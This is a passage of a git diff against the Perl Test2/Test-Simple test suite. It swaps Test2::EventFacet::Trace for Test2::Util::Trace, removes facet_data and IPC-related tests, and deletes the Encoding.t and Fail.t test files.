Test2::API::context_do { diff --git a/cpan/Test-Simple/t/Test2/modules/API/Context.t b/cpan/Test-Simple/t/Test2/modules/API/Context.t index abb86b64a9fc..c0dbfc93ea8e 100644 --- a/cpan/Test-Simple/t/Test2/modules/API/Context.t +++ b/cpan/Test-Simple/t/Test2/modules/API/Context.t @@ -91,7 +91,7 @@ my $events = bless [], 'My::Formatter'; my $hub = Test2::Hub->new( formatter => $events, ); -my $trace = Test2::EventFacet::Trace->new( +my $trace = Test2::Util::Trace->new( frame => [ 'Foo::Bar', 'foo_bar.t', 42, 'Foo::Bar::baz' ], ); my $ctx = Test2::API::Context->new( @@ -232,7 +232,7 @@ is_deeply( my $ctx = context(level => -1); my $one = Test2::API::Context->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'blah']), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'blah']), hub => test2_stack()->top, ); is($one->_depth, 0, "default depth"); @@ -257,7 +257,7 @@ is_deeply( { like(exception { Test2::API::Context->new() }, qr/The 'trace' attribute is required/, "need to have trace"); - my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']); + my $trace = Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'foo']); like(exception { Test2::API::Context->new(trace => $trace) }, qr/The 'hub' attribute is required/, "need to have hub"); my $hub = test2_stack()->top; @@ -336,10 +336,15 @@ sub { }->(); { + { + package An::Info::Thingy; + sub render { 'zzz' } + } + my ($e1, $e2); my $events = intercept { my $ctx = context(); - $e1 = $ctx->ok(0, 'foo', ['xxx']); + $e1 = $ctx->ok(0, 'foo', ['xxx', sub { 'yyy' }, bless({}, 'An::Info::Thingy')]); $e2 = $ctx->ok(0, 'foo'); $ctx->release; }; @@ -348,12 +353,19 @@ sub { ok($e2->isa('Test2::Event::Ok'), "returned ok event"); is($events->[0], $e1, "got ok event 1"); - is($events->[3], $e2, "got ok event 2"); is($events->[2]->message, 'xxx', "event 1 diag 2"); ok($events->[2]->isa('Test2::Event::Diag'), "event 1 diag 2 is diag"); - is($events->[3], $e2, "got ok event 2"); + is($events->[3]->summary, 'yyy', "event 1 info 1"); + is($events->[3]->diagnostics, 1, "event 1 info 1 is diagnostics"); + ok($events->[3]->isa('Test2::Event::Info'), "event 1 info 1 is an info"); + + is($events->[4]->summary, 'zzz', "event 1 info 2"); + is($events->[4]->diagnostics, 1, "event 1 info 2 is diagnostics"); + ok($events->[4]->isa('Test2::Event::Info'), "event 2 info 1 is an info"); + + is($events->[5], $e2, "got ok event 2"); } sub { diff --git a/cpan/Test-Simple/t/Test2/modules/API/Instance.t b/cpan/Test-Simple/t/Test2/modules/API/Instance.t index 4238b1dbd96d..9e3e4ccd4de8 100644 --- a/cpan/Test-Simple/t/Test2/modules/API/Instance.t +++ b/cpan/Test-Simple/t/Test2/modules/API/Instance.t @@ -5,13 +5,6 @@ use Test2::IPC; use Test2::Tools::Tiny; use Test2::Util qw/CAN_THREAD CAN_REALLY_FORK USE_THREADS get_tid/; -ok(1, "Just to get things initialized."); - -# We need to control this env var for this test -$ENV{T2_NO_IPC} = 0; -# This test relies on TAP being the default formatter for non-canon instances -$ENV{T2_FORMATTER} = 'TAP'; - my $CLASS = 'Test2::API::Instance'; my $one = $CLASS->new; @@ -24,12 +17,8 @@ is_deeply( ipc => undef, formatter => undef, - add_uuid_via => undef, - - ipc_polling => undef, - ipc_drivers => [], - ipc_timeout => 30, - ipc_disabled => 0, + ipc_polling => undef, + ipc_drivers => [], formatters => [], @@ -41,7 +30,6 @@ is_deeply( context_acquire_callbacks => [], context_init_callbacks => [], context_release_callbacks => [], - pre_subtest_callbacks => [], stack => [], }, @@ -57,12 +45,8 @@ is_deeply( { contexts => {}, - ipc_polling => undef, - ipc_drivers => [], - ipc_timeout => 30, - ipc_disabled => 0, - - add_uuid_via => undef, + ipc_polling => undef, + ipc_drivers => [], formatters => [], @@ -78,7 +62,6 @@ is_deeply( context_acquire_callbacks => [], context_init_callbacks => [], context_release_callbacks => [], - pre_subtest_callbacks => [], stack => [], }, @@ -142,11 +125,11 @@ ok($one->finalized, "calling format finalized the object"); is($one->formatter, 'Test2::Formatter::TAP', "got specified formatter"); ok($one->finalized, "calling format finalized the object"); - local $ENV{T2_FORMATTER} = '+A::Fake::Module::That::Should::Not::Exist'; + local $ENV{T2_FORMATTER} = '+Fake'; $one->reset; like( exception { $one->formatter }, - qr/COULD NOT LOAD FORMATTER 'A::Fake::Module::That::Should::Not::Exist' \(set by the 'T2_FORMATTER' environment variable\)/, + qr/COULD NOT LOAD FORMATTER 'Fake' \(set by the 'T2_FORMATTER' environment variable\)/, "Bad formatter" ); } @@ -164,25 +147,13 @@ like( "Exit callbacks must be coderefs" ); -$one->reset; -$one->add_pre_subtest_callback($callback); -is(@{$one->pre_subtest_callbacks}, 1, "added a pre-subtest callback"); -$one->add_pre_subtest_callback($callback); -is(@{$one->pre_subtest_callbacks}, 2, "added another pre-subtest callback"); - -like( - exception { $one->add_pre_subtest_callback({}) }, - qr/Pre-subtest callbacks must be coderefs/, - "Pre-subtest callbacks must be coderefs" -); - if (CAN_REALLY_FORK) { $one->reset; my $pid = fork; die "Failed to fork!" unless defined $pid; unless($pid) { exit 0 } - is(Test2::API::Instance::_ipc_wait, 0, "No errors"); + is($one->_ipc_wait, 0, "No errors"); $pid = fork; die "Failed to fork!" unless defined $pid; @@ -190,20 +161,9 @@ if (CAN_REALLY_FORK) { my @warnings; { local $SIG{__WARN__} = sub { push @warnings => @_ }; - is(Test2::API::Instance::_ipc_wait, 255, "Process exited badly"); - } - like($warnings[0], qr/Process .* did not exit cleanly \(wstat: \S+, exit: 255, sig: 0\)/, "Warn about exit"); - - $pid = fork; - die "Failed to fork!" unless defined $pid; - unless($pid) { sleep 20; exit 0 } - kill('TERM', $pid) or die "Failed to send signal"; - @warnings = (); - { - local $SIG{__WARN__} = sub { push @warnings => @_ }; - is(Test2::API::Instance::_ipc_wait, 255, "Process exited badly"); + is($one->_ipc_wait, 255, "Process exited badly"); } - like($warnings[0], qr/Process .* did not exit cleanly \(wstat: \S+, exit: 0, sig: 15\)/, "Warn about exit"); + like($warnings[0], qr/Process .* did not exit cleanly \(status: 255\)/, "Warn about exit"); } if (CAN_THREAD && $] ge '5.010') { @@ -211,7 +171,7 @@ if (CAN_THREAD && $] ge '5.010') { $one->reset; threads->new(sub { 1 }); - is(Test2::API::Instance::_ipc_wait, 0, "No errors"); + is($one->_ipc_wait, 0, "No errors"); if (threads->can('error')) { threads->new(sub { @@ -222,7 +182,7 @@ if (CAN_THREAD && $] ge '5.010') { my @warnings; { local $SIG{__WARN__} = sub { push @warnings => @_ }; - is(Test2::API::Instance::_ipc_wait, 255, "Thread exited badly"); + is($one->_ipc_wait, 255, "Thread exited badly"); } like($warnings[0], qr/Thread .* did not end cleanly: xxx/, "Warn about exit"); } @@ -291,8 +251,7 @@ if (CAN_THREAD && $] ge '5.010') { like($events[0]->message, qr/Test ended with extra hubs on the stack!/, "got diag"); } -SKIP: { - last SKIP if $] lt "5.008"; +{ $one->reset; my $stderr = ""; { @@ -320,8 +279,7 @@ This is not a supported configuration, you will have problems. EOT } -SKIP: { - last SKIP if $] lt "5.008"; +{ require Test2::API::Breakage; no warnings qw/redefine once/; my $ran = 0; @@ -393,7 +351,7 @@ if (CAN_REALLY_FORK) { { my $ctx = bless { - trace => Test2::EventFacet::Trace->new(frame => ['Foo::Bar', 'Foo/Bar.pm', 42, 'xxx']), + trace => Test2::Util::Trace->new(frame => ['Foo::Bar', 'Foo/Bar.pm', 42, 'xxx']), hub => Test2::Hub->new(), }, 'Test2::API::Context'; $one->contexts->{1234} = $ctx; @@ -509,29 +467,4 @@ if (CAN_REALLY_FORK) { is($cull, 1, "called cull once"); } -{ - require Test2::IPC::Driver::Files; - - local $ENV{T2_NO_IPC} = 1; - $one->reset; - $one->add_ipc_driver('Test2::IPC::Driver::Files'); - ok($one->ipc_disabled, "IPC is disabled by env var"); - ok(!$one->ipc, 'IPC not loaded'); - - local $ENV{T2_NO_IPC} = 0; - $one->reset; - ok(!$one->ipc_disabled, "IPC is not disabled by env var"); - ok($one->ipc, 'IPC loaded'); - like( - exception { $one->ipc_disable }, - qr/Attempt to disable IPC after it has been initialized/, - "Cannot diable IPC once it is initialized" - ); - - $one->reset; - ok(!$one->ipc_disabled, "IPC is not disabled by env var"); - $one->ipc_disable; - ok($one->ipc_disabled, "IPC is disabled directly"); -} - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event.t b/cpan/Test-Simple/t/Test2/modules/Event.t index 6a414f7be907..467e7249844e 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event.t +++ b/cpan/Test-Simple/t/Test2/modules/Event.t @@ -3,712 +3,38 @@ use warnings; use Test2::Tools::Tiny; use Test2::Event(); -use Test2::EventFacet::Trace(); -use Test2::Event::Generic; -use Test2::API qw/context/; -use Scalar::Util qw/reftype/; +{ + package My::MockEvent; -tests old_api => sub { - { - package My::MockEvent; + use base 'Test2::Event'; + use Test2::Util::HashBase qw/foo bar baz/; +} - use base 'Test2::Event'; - use Test2::Util::HashBase qw/foo bar baz/; - } +ok(My::MockEvent->can($_), "Added $_ accessor") for qw/foo bar baz/; - ok(My::MockEvent->can($_), "Added $_ accessor") for qw/foo bar baz/; +my $one = My::MockEvent->new(trace => 'fake'); - my $one = My::MockEvent->new(trace => 'fake'); +ok(!$one->causes_fail, "Events do not cause failures by default"); - ok(!$one->causes_fail, "Events do not cause failures by default"); +ok(!$one->$_, "$_ is false by default") for qw/increments_count terminate global/; - ok(!$one->$_, "$_ is false by default") for qw/increments_count terminate global/; +ok(!$one->get_meta('xxx'), "no meta-data associated for key 'xxx'"); - ok(!$one->get_meta('xxx'), "no meta-data associated for key 'xxx'"); +$one->set_meta('xxx', '123'); - $one->set_meta('xxx', '123'); +is($one->meta('xxx'), '123', "got meta-data"); - is($one->meta('xxx'), '123', "got meta-data"); +is($one->meta('xxx', '321'), '123', "did not use default"); - is($one->meta('xxx', '321'), '123', "did not use default"); +is($one->meta('yyy', '1221'), '1221', "got the default"); - is($one->meta('yyy', '1221'), '1221', "got the default"); +is($one->meta('yyy'), '1221', "last call set the value to the default for future use"); - is($one->meta('yyy'), '1221', "last call set the value to the default for future use"); +is($one->summary, 'My::MockEvent', "Default summary is event package"); - is($one->summary, 'My::MockEvent', "Default summary is event package"); +is($one->diagnostics, 0, "Not diagnostics by default"); - is($one->diagnostics, 0, "Not diagnostics by default"); -}; - -tests deprecated => sub { - my $e = Test2::Event->new(trace => Test2::EventFacet::Trace->new(frame => ['foo', 'foo.pl', 42], nested => 2, hid => 'maybe')); - - my $warnings = warnings { - local $ENV{AUTHOR_TESTING} = 1; - is($e->nested, 2, "Got nested from the trace"); - is($e->in_subtest, 'maybe', "got hid from trace"); - - $e->trace->{nested} = 0; - - local $ENV{AUTHOR_TESTING} = 0; - is($e->nested, 0, "Not nested"); - is($e->in_subtest, undef, "Did not get hid"); - }; - - is(@$warnings, 2, "got warnings once each"); - like($warnings->[0], qr/Use of Test2::Event->nested\(\) is deprecated/, "Warned about deprecation"); - like($warnings->[1], qr/Use of Test2::Event->in_subtest\(\) is deprecated/, "Warned about deprecation"); -}; - -tests facet_data => sub { - my $e = Test2::Event::Generic->new( - causes_fail => 0, - increments_count => 0, - diagnostics => 0, - no_display => 0, - callback => undef, - terminate => undef, - global => undef, - sets_plan => undef, - summary => undef, - facet_data => undef, - ); - - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 0, - terminate => undef, - global => 0 - }, - }, - "Facet data has control with onyl false values, and an about" - ); - - $e->set_trace(Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42])); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 0, - terminate => undef, - global => 0 - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - }, - "Got a trace now" - ); - - $e->set_causes_fail(1); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 0, - terminate => undef, - global => 0 - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - errors => [ - { - tag => 'FAIL', - details => 'Test2::Event::Generic', - fail => 1, - } - ], - }, - "Got an error" - ); - - $e->set_increments_count(1); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 0, - terminate => undef, - global => 0 - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 0, - details => 'Test2::Event::Generic', - }, - }, - "Got an assert now" - ); - - $e->set_causes_fail(0); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 0, - terminate => undef, - global => 0 - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - }, - "Got a passing assert now" - ); - - $e->set_global(1); - $e->set_terminate(255); - $e->set_callback(sub {1}); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 1, - terminate => 255, - global => 1, - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - }, - "control fields were altered" - ); - - my $data; - { - no warnings 'once'; - local *Test2::Event::Generic::subtest_id = sub { 123 }; - $data = $e->facet_data; - } - is_deeply( - $data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 1, - terminate => 255, - global => 1, - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - parent => {hid => 123}, - }, - "Added parent" - ); - - $e->set_meta('foo', {a => 1}); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 1, - terminate => 255, - global => 1, - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - meta => {foo => {a => 1}}, - }, - "Grabbed meta" - ); - - - $e->set_sets_plan([5]); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 1, - terminate => 255, - global => 1, - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - meta => {foo => {a => 1}}, - plan => { count => 5 }, - }, - "Plan facet added" - ); - - $e->set_terminate(undef); - $e->set_sets_plan([0, SKIP => 'because']); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 1, - terminate => 0, - global => 1, - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - meta => {foo => {a => 1}}, - plan => { count => 0, skip => 1, details => 'because' }, - }, - "Plan set terminate, skip, and details" - ); - - $e->set_sets_plan([0, 'NO PLAN' => 'because']); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 1, - terminate => undef, - global => 1, - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - meta => {foo => {a => 1}}, - plan => { count => 0, none => 1, details => 'because' }, - }, - "Plan does not set terminate, but sets 'none' and 'details'" - ); - - $e->add_amnesty({tag => 'foo', details => 'bar'}); - $e->add_amnesty({tag => 'baz', details => 'bat'}); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 1, - terminate => undef, - global => 1, - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - meta => {foo => {a => 1}}, - plan => { count => 0, none => 1, details => 'because' }, - amnesty => [ - { tag => 'foo', details => 'bar' }, - { tag => 'baz', details => 'bat' }, - ], - }, - "Amnesty added" - ); - - $e = Test2::Event::Generic->new(); - $e->set_diagnostics(1); - $e->set_no_display(1); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => 1, - }, - control => { - has_callback => 0, - terminate => undef, - global => 0, - }, - }, - "No Info" - ); - - $e->set_no_display(0); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef, - }, - control => { - has_callback => 0, - terminate => undef, - global => 0, - }, - info => [{ - details => 'Test2::Event::Generic', - tag => 'DIAG', - debug => 1, - }], - }, - "Got debug Info" - ); - - $e->set_summary("foo bar baz"); - is_deeply( - $e->facet_data, - { - about => { - package => 'Test2::Event::Generic', - details => 'foo bar baz', - no_display => undef, - }, - control => { - has_callback => 0, - terminate => undef, - global => 0, - }, - info => [{ - details => 'foo bar baz', - tag => 'DIAG', - debug => 1, - }], - }, - "Got debug Info with summary change" - ); -}; - -tests facets => sub { - my $data = { - about => { - package => 'Test2::Event::Generic', - details => 'Test2::Event::Generic', - no_display => undef - }, - control => { - has_callback => 1, - terminate => undef, - global => 1, - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - assert => { - no_debug => 1, - pass => 1, - details => 'Test2::Event::Generic', - }, - meta => {foo => {a => 1}}, - plan => {count => 0, none => 1, details => 'because'}, - parent => {hid => 123, children => []}, - amnesty => [ - {tag => 'foo', details => 'bar'}, - {tag => 'baz', details => 'bat'}, - ], - info => [ - { - details => 'foo bar baz', - tag => 'DIAG', - debug => 1, - } - ], - errors => [{ - tag => 'FAIL', - details => 'Test2::Event::Generic', - fail => 1, - }], - }; - - my $e = Test2::Event::Generic->new(facet_data => $data); - is_deeply( - $e->facet_data, - $e->facets, - "Facets and facet_data have the same structure" - ); - - my $facets = $e->facets; - - for my $key (sort keys %$facets) { - my $type = "Test2::EventFacet::" . ucfirst($key); - $type =~ s/s$//; - my $val = $facets->{$key}; - if ($type->is_list) { - for my $f (@$val) { - ok($f->isa('Test2::EventFacet'), "'$key' has a blessed facet"); - ok($f->isa("$type"), "'$key' is a '$type'") or diag("$f"); - } - } - else { - ok($val->isa('Test2::EventFacet'), "'$key' has a blessed facet"); - ok($val->isa($type), "'$key' is a '$type'"); - } - } -}; - -tests common_facet_data => sub { - my $e = Test2::Event::Generic->new( - causes_fail => 0, - increments_count => 0, - diagnostics => 0, - no_display => 0, - callback => undef, - terminate => undef, - global => undef, - sets_plan => undef, - summary => undef, - facet_data => undef, - ); - - is_deeply( - $e->common_facet_data, - { - about => { - package => 'Test2::Event::Generic', - }, - }, - "Facet data has an about" - ); - - $e->set_trace(Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42])); - is_deeply( - $e->common_facet_data, - { - about => { - package => 'Test2::Event::Generic', - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - }, - "Got a trace now" - ); - - $e->set_meta('foo', {a => 1}); - is_deeply( - $e->common_facet_data, - { - about => { - package => 'Test2::Event::Generic', - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - meta => {foo => {a => 1}}, - }, - "Grabbed meta" - ); - - $e->add_amnesty({tag => 'foo', details => 'bar'}); - $e->add_amnesty({tag => 'baz', details => 'bat'}); - is_deeply( - $e->common_facet_data, - { - about => { - package => 'Test2::Event::Generic', - }, - trace => { - frame => ['foo', 'foo.t', 42], - pid => $$, - tid => 0, - }, - meta => {foo => {a => 1}}, - amnesty => [ - {tag => 'foo', details => 'bar'}, - {tag => 'baz', details => 'bat'}, - ], - }, - "Amnesty added" - ); -}; - -tests related => sub { - my $ctx = context(); - my $ev_a = $ctx->build_ev2(about => {}); - my $ev_b = $ctx->build_ev2(about => {}); - $ctx->release; - - $ctx = context(); - my $ev_c = $ctx->build_ev2(about => {}); - $ctx->release; - - delete $ev_a->{trace}->{uuid}; - delete $ev_b->{trace}->{uuid}; - delete $ev_c->{trace}->{uuid}; - - ok($ev_a->related($ev_b), "Related as they were created with the same context (no uuid)"); - ok(!$ev_a->related($ev_c), "Not related as they were created with a different context (no uuid)"); - - $ev_a->{trace}->{uuid} = 'xxx'; # Yes I know it is not valid. - $ev_b->{trace}->{uuid} = 'yyy'; # Yes I know it is not valid. - $ev_c->{trace}->{uuid} = 'xxx'; # Yes I know it is not valid. - - ok(!$ev_a->related($ev_b), "Not related, traces have different UUID's"); - ok($ev_a->related($ev_c), "Related, traces have the same UUID's"); -}; - -tests verify_facet_data => sub { - my $ev1 = Test2::Event::V2->new( - assert => { pass => 1 }, - info => [{tag => 'NOTE', details => 'oops' }], - 'a custom one' => {}, - ); - - is_deeply( - [$ev1->validate_facet_data], - [], - "No errors" - ); - - my $ev2 = Test2::Event::V2->new( - assert => [{ pass => 1 }], - info => {tag => 'NOTE', details => 'oops' }, - 'a custom one' => {}, - ); - - my @errors = $ev2->validate_facet_data; - is(@errors, 2, "Got 2 errors"); - like($errors[0], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type"); - like($errors[1], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed"); - - @errors = $ev2->validate_facet_data(require_facet_class => 1); - is(@errors, 3, "Got 3 errors"); - is($errors[0], "Could not find a facet class for facet 'a custom one'", "Classes required"); - like($errors[1], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type"); - like($errors[2], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed"); - - is_deeply( - [Test2::Event->validate_facet_data($ev1->facet_data)], - [], - "No errors" - ); - - @errors = Test2::Event->validate_facet_data($ev2->facet_data); - is(@errors, 2, "Got 2 errors"); - like($errors[0], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type"); - like($errors[1], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed"); - - @errors = Test2::Event->validate_facet_data($ev2->facet_data, require_facet_class => 1); - is(@errors, 3, "Got 3 errors"); - is($errors[0], "Could not find a facet class for facet 'a custom one'", "Classes required"); - like($errors[1], qr/^Facet 'assert' should not be a list, but got a a list/, "Got a list for a non-list type"); - like($errors[2], qr/^Facet 'info' should be a list, but got a single item/, "Got a single item when a list is needed"); -}; +ok(!$one->in_subtest, "no subtest_id by default"); done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Bail.t b/cpan/Test-Simple/t/Test2/modules/Event/Bail.t index 360179361b06..d323bd9d9745 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Bail.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Bail.t @@ -2,10 +2,9 @@ use strict; use warnings; use Test2::Tools::Tiny; use Test2::Event::Bail; -use Test2::EventFacet::Trace; my $bail = Test2::Event::Bail->new( - trace => Test2::EventFacet::Trace->new(frame => ['foo', 'foo.t', 42]), + trace => 'fake', reason => 'evil', ); @@ -14,61 +13,17 @@ ok($bail->causes_fail, "bailout always causes fail."); is($bail->terminate, 255, "Bail will cause the test to exit."); is($bail->global, 1, "Bail is global, everything should bail"); +my $hub = Test2::Hub->new; +ok($hub->is_passing, "passing"); +ok(!$hub->failed, "no failures"); + +$bail->callback($hub); +is($hub->bailed_out, $bail, "set bailed out"); + is($bail->summary, "Bail out! evil", "Summary includes reason"); $bail->set_reason(""); is($bail->summary, "Bail out!", "Summary has no reason"); ok($bail->diagnostics, "Bail events are counted as diagnostics"); -is_deeply( - $bail->facet_data, - { - about => { - package => 'Test2::Event::Bail', - }, - control => { - global => 1, - terminate => 255, - details => '', - halt => 1 - }, - trace => { - frame => [ - 'foo', - 'foo.t', - '42', - ], - pid => $$, - tid => 0 - }, - }, - "Got facet data", -); - -$bail->set_reason('uhg'); -is_deeply( - $bail->facet_data, - { - about => { - package => 'Test2::Event::Bail', - }, - control => { - global => 1, - terminate => 255, - details => 'uhg', - halt => 1 - }, - trace => { - frame => [ - 'foo', - 'foo.t', - '42', - ], - pid => $$, - tid => 0 - }, - }, - "Got facet data with reason", -); - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Diag.t b/cpan/Test-Simple/t/Test2/modules/Event/Diag.t index 885ee085c035..9094c0af1895 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Diag.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Diag.t @@ -2,17 +2,17 @@ use strict; use warnings; use Test2::Tools::Tiny; use Test2::Event::Diag; -use Test2::EventFacet::Trace; +use Test2::Util::Trace; my $diag = Test2::Event::Diag->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), message => 'foo', ); is($diag->summary, 'foo', "summary is just message"); $diag = Test2::Event::Diag->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), message => undef, ); @@ -20,7 +20,7 @@ is($diag->message, 'undef', "set undef message to undef"); is($diag->summary, 'undef', "summary is just message even when undef"); $diag = Test2::Event::Diag->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), + trace => Test2::Util::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), message => {}, ); @@ -28,23 +28,4 @@ like($diag->message, qr/^HASH\(.*\)$/, "stringified the input value"); ok($diag->diagnostics, "Diag events are counted as diagnostics"); -$diag = Test2::Event::Diag->new( - trace => Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__]), - message => "Hi there", -); - -my $facet_data = $diag->facet_data; -ok($facet_data->{about}, "Got 'about' from common"); -ok($facet_data->{trace}, "Got 'trace' from common"); - -is_deeply( - $facet_data->{info}, - [{ - tag => 'DIAG', - debug => 1, - details => 'Hi there', - }], - "Got info facet" -); - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t b/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t deleted file mode 100644 index 9ac6baf72cea..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/Event/Encoding.t +++ /dev/null @@ -1,28 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; - -use ok 'Test2::Event::Encoding'; -my $CLASS = 'Test2::Event::Encoding'; - -like( - exception { $CLASS->new() }, - qr/'encoding' is a required attribute/, - "Must specify the encoding" -); - -my $one = $CLASS->new(encoding => 'utf8'); -is($one->encoding, 'utf8', "Got encoding"); -is($one->summary, "Encoding set to utf8", "Got summary"); - -is_deeply( - $one->facet_data, - { - about => { package => $CLASS, details => "Encoding set to utf8" }, - control => { encoding => 'utf8' }, - }, - "Got facet data" -); - -done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Exception.t b/cpan/Test-Simple/t/Test2/modules/Event/Exception.t index 4d58aad7d7a4..b2bcb6f2db1a 100644 --- a/cpan/Test-Simple/t/Test2/modules/Event/Exception.t +++ b/cpan/Test-Simple/t/Test2/modules/Event/Exception.t @@ -4,7 +4,7 @@ use Test2::Tools::Tiny; use Test2::Event::Exception; my $exception = Test2::Event::Exception->new( - trace => {frame => []}, + trace => 'fake', error => "evil at lake_of_fire.t line 6\n", ); @@ -14,42 +14,4 @@ is($exception->summary, "Exception: evil at lake_of_fire.t line 6", "Got summary ok($exception->diagnostics, "Exception events are counted as diagnostics"); -my $facet_data = $exception->facet_data; -ok($facet_data->{about}, "Got common facet data"); - -is_deeply( - $facet_data->{errors}, - [{ - tag => 'ERROR', - fail => 1, - details => "evil at lake_of_fire.t line 6\n", - }], - "Got error facet", -); - -my $hash = {an => 'error'}; -my $str = "$hash"; - -$exception = Test2::Event::Exception->new( - trace => {frame => []}, - error => $hash, -); - -ok($exception->causes_fail, "Exception events always cause failure"); - -is($exception->error, $str, "Got stringified exception"); - -$facet_data = $exception->facet_data; -ok($facet_data->{about}, "Got common facet data"); - -is_deeply( - $facet_data->{errors}, - [{ - tag => 'ERROR', - fail => 1, - details => $str, - }], - "Got error facet", -); - done_testing; diff --git a/cpan/Test-Simple/t/Test2/modules/Event/Fail.t b/cpan/Test-Simple/t/Test2/modules/Event/Fail.t deleted file mode 100644 index 80d27f6068b5..000000000000 --- a/cpan/Test-Simple/t/Test2/modules/Event/Fail.t +++ /dev/null @@ -1,38 +0,0 @@ -use strict; -use warnings; - -use Test2::Tools::Tiny; -use Test2::API qw/intercept context/; - -use ok 'Test2::Event::Fail'; -my $CLASS = 'Test2::Event::Fail'; - -my $one = $CLASS->new(name => 'no soup for you'); - -is($one->summary, "fail", 'summary'); -is($one->increments_count, 1, 'increments_count'); -is($one->diagnostics, 